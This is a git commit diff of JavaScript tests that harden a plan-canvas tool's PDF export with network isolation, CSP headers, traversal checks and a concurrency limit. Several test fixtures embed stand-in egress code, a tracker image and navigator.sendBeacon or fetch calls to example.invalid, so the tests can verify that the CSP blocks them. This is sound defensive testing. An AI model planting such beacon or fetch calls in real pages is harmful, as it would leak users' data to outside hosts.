fix(plan-canvas): harden PDF export concurrency

This commit is contained in:
haelyra
2026-08-28 17:15:30 -04:00
parent 3fbc1ad164
commit 8dd610f574
10 changed files with 335 additions and 57 deletions
+18 -11
View File
@@ -15,17 +15,15 @@ const {
resolveChromiumExecutable
} = require('../../scripts/lib/plan-canvas/pdf');
const results = [];
async function test(name, fn) {
try {
await fn();
console.log(`${name}`);
results.push(true);
return true;
} catch (error) {
console.log(`${name}`);
console.log(` ${error.stack || error.message}`);
results.push(false);
return false;
}
}
@@ -48,15 +46,19 @@ function fakeChild(onSpawn) {
async function main() {
console.log('\n=== Testing Plan Canvas PDF export ===\n');
let results = [];
const record = async (name, fn) => {
results = [...results, await test(name, fn)];
};
await test('builds safe, useful PDF filenames', () => {
await record('builds safe, useful PDF filenames', () => {
assert.strictEqual(pdfFileName('/tmp/feature-fleet-2.2.plan.md'), 'feature-fleet-2.2.pdf');
assert.strictEqual(pdfFileName('/tmp/release-preview.html'), 'release-preview.pdf');
assert.strictEqual(pdfFileName('/tmp/bad:name?.md'), 'bad-name-.pdf');
assert.strictEqual(pdfFileName(''), 'plan.pdf');
});
await test('restricts the renderer to loopback artifact URLs', () => {
await record('restricts the renderer to loopback artifact URLs', () => {
assert.strictEqual(
assertLoopbackUrl('http://127.0.0.1:4518/artifact/abc/?pdf=1'),
'http://127.0.0.1:4518/artifact/abc/?pdf=1'
@@ -65,7 +67,7 @@ async function main() {
assert.throws(() => assertLoopbackUrl('http://example.com/artifact/abc'), { code: 'PDF_EXPORT_INVALID_URL' });
});
await test('honors an explicit Chromium executable override', () => {
await record('honors an explicit Chromium executable override', () => {
const fsImpl = {
accessSync(file) { assert.strictEqual(file, '/opt/test/chrome'); },
statSync() { return { isFile: () => true }; }
@@ -80,7 +82,7 @@ async function main() {
);
});
await test('fails actionably when no local PDF renderer is installed', async () => {
await record('fails actionably when no local PDF renderer is installed', async () => {
await assert.rejects(
exportPdf({
url: 'http://127.0.0.1:4517/artifact/abc123/?pdf=1',
@@ -92,7 +94,7 @@ async function main() {
);
});
await test('recognizes only complete PDF output', () => {
await record('recognizes only complete PDF output', () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-pdf-complete-'));
const file = path.join(tmp, 'artifact.pdf');
fs.writeFileSync(file, '%PDF-1.4\npartial');
@@ -102,7 +104,7 @@ async function main() {
fs.rmSync(tmp, { recursive: true, force: true });
});
await test('validates PDF metadata from the opened file handle', () => {
await record('validates PDF metadata from the opened file handle', () => {
const content = Buffer.from('%PDF-1.4\nlocal plan\n%%EOF\n');
const fsImpl = {
openSync(file, flags) {
@@ -124,7 +126,7 @@ async function main() {
assert.strictEqual(isCompletePdf('/private/export.pdf', fsImpl), true);
});
await test('renders, terminates its private browser, and removes temporary state', async () => {
await record('renders, isolates network access, terminates its browser, and removes temporary state', async () => {
const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-pdf-test-'));
let spawned = null;
let child = null;
@@ -151,6 +153,11 @@ async function main() {
assert.strictEqual(spawned.command, '/opt/test/chrome');
assert.strictEqual(spawned.options.shell, false);
assert.ok(spawned.args.includes('--headless=new'));
assert.ok(spawned.args.includes('--disable-background-networking'));
assert.ok(spawned.args.includes('--disable-quic'));
assert.ok(spawned.args.some(arg => /^--proxy-server=http:\/\/127\.0\.0\.1:\d+$/.test(arg)));
assert.ok(spawned.args.includes('--proxy-bypass-list=<-loopback>;http://localhost:4517'));
assert.ok(spawned.args.includes('--host-resolver-rules=MAP * ~NOTFOUND, EXCLUDE localhost'));
assert.ok(spawned.args.includes('http://localhost:4517/artifact/abc123/?pdf=1'));
assert.strictEqual(child.signalCode, 'SIGTERM');
assert.deepStrictEqual(fs.readdirSync(tempRoot), []);
+48 -1
View File
@@ -92,13 +92,18 @@ async function main() {
const artifact = path.join(tmp, 'demo.plan.md');
fs.writeFileSync(artifact, '# Plan: Demo\n\n## Files to Change\n\n| File | Action |\n|---|---|\n| `a.js` | UPDATE |\n');
const htmlArtifact = path.join(tmp, 'report.html');
fs.writeFileSync(htmlArtifact, '<!DOCTYPE html><html><body><h1>Report</h1></body></html>');
fs.writeFileSync(
htmlArtifact,
'<!DOCTYPE html><html><body><h1>Report</h1><img src="https://example.invalid/tracker.png"><script>navigator.sendBeacon("https://example.invalid/beacon", "plan")</script></body></html>'
);
fs.writeFileSync(path.join(tmp, 'style.css'), 'body { color: red }');
const outsideDir = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-outside-'));
fs.writeFileSync(path.join(outsideDir, 'secret.txt'), 'secret');
const store = createSessionStore({ stateDir: path.join(tmp, 'state') });
const pdfRequests = [];
let holdPdfExport = false;
let releasePdfExport = null;
let idleFired = false;
const canvas = createPlanCanvasServer({
store,
@@ -107,6 +112,7 @@ async function main() {
idleTimeoutMs: 0,
pdfExporter: async options => {
pdfRequests.push(options);
if (holdPdfExport) await new Promise(resolve => { releasePdfExport = resolve; });
return { buffer: Buffer.from('%PDF-1.4\n%%EOF\n'), filename: 'demo.pdf' };
},
onIdleShutdown: () => {
@@ -200,6 +206,19 @@ async function main() {
assert.ok(res.body.includes('<script src="/sdk.js"></script>\n</body>'));
})) passed++; else failed++;
if (await test('PDF artifact responses block remote images and inline beacon egress', async () => {
const res = await request(port, 'GET', `/artifact/${htmlKey}/?pdf=1`);
const csp = res.headers['content-security-policy'];
assert.strictEqual(res.statusCode, 200);
assert.ok(csp.includes("default-src 'none'"));
assert.ok(csp.includes("img-src 'self' data:"));
assert.ok(csp.includes("connect-src 'none'"));
assert.ok(csp.includes("form-action 'none'"));
assert.ok(csp.includes("script-src 'none'"));
assert.ok(res.body.includes('https://example.invalid/tracker.png'));
assert.ok(res.body.includes('navigator.sendBeacon'));
})) passed++; else failed++;
if (await test('sibling assets are served, traversal is blocked', async () => {
const ok = await request(port, 'GET', `/artifact/${key}/style.css`);
assert.strictEqual(ok.statusCode, 200);
@@ -213,11 +232,17 @@ async function main() {
const res = await request(port, 'GET', asset);
assert.strictEqual(res.statusCode, 200, `${asset} should be 200`);
}
const sdk = await request(port, 'GET', '/sdk.js');
assert.doesNotThrow(() => new Function(sdk.body));
assert.ok(sdk.body.includes("msg.type === 'pc:export-snapshot'"));
assert.ok(sdk.body.includes("querySelectorAll('script,iframe,object,embed,form,base,meta[http-equiv]"));
})) passed++; else failed++;
if (await test('Download PDF fetches a generated PDF and starts a browser download', async () => {
const client = await request(port, 'GET', '/client.js');
assert.ok(client.body.includes("'/api/session/' + key + '/pdf'"));
assert.ok(client.body.includes("method: snapshot ? 'POST' : 'GET'"));
assert.ok(client.body.includes("type: 'pc:export-snapshot'"));
assert.ok(client.body.includes('URL.createObjectURL'));
const res = await request(port, 'GET', `/api/session/${key}/pdf`);
@@ -231,6 +256,28 @@ async function main() {
assert.strictEqual(pdfRequests[0].url, `http://127.0.0.1:${port}/artifact/${key}/?pdf=1`);
})) passed++; else failed++;
if (await test('concurrent PDF exports return a bounded retryable overload response', async () => {
holdPdfExport = true;
const snapshot = '<!doctype html><html><body><h1>Already rendered diagram</h1><svg><text>Local SVG</text></svg><script>fetch("https://example.invalid")</script></body></html>';
const first = request(port, 'POST', `/api/session/${key}/pdf`, { body: { html: snapshot } });
await waitFor(() => typeof releasePdfExport === 'function');
const printable = await request(port, 'GET', `/artifact/${key}/?pdf=1`);
assert.ok(printable.body.includes('Already rendered diagram'));
assert.ok(printable.body.includes('Local SVG'));
assert.ok(printable.headers['content-security-policy'].includes("script-src 'none'"));
const overloaded = await request(port, 'GET', `/api/session/${key}/pdf`);
assert.strictEqual(overloaded.statusCode, 429);
assert.strictEqual(overloaded.headers['retry-after'], '1');
assert.deepStrictEqual(jsonBody(overloaded), {
error: 'another PDF export is already in progress',
code: 'PDF_EXPORT_BUSY'
});
releasePdfExport();
assert.strictEqual((await first).statusCode, 200);
holdPdfExport = false;
releasePdfExport = null;
})) passed++; else failed++;
if (await test('browser client uses finite polling instead of one permanent connection per canvas', async () => {
const res = await request(port, 'GET', '/client.js');
assert.ok(res.body.includes("'/api/session/' + key + '/state'"));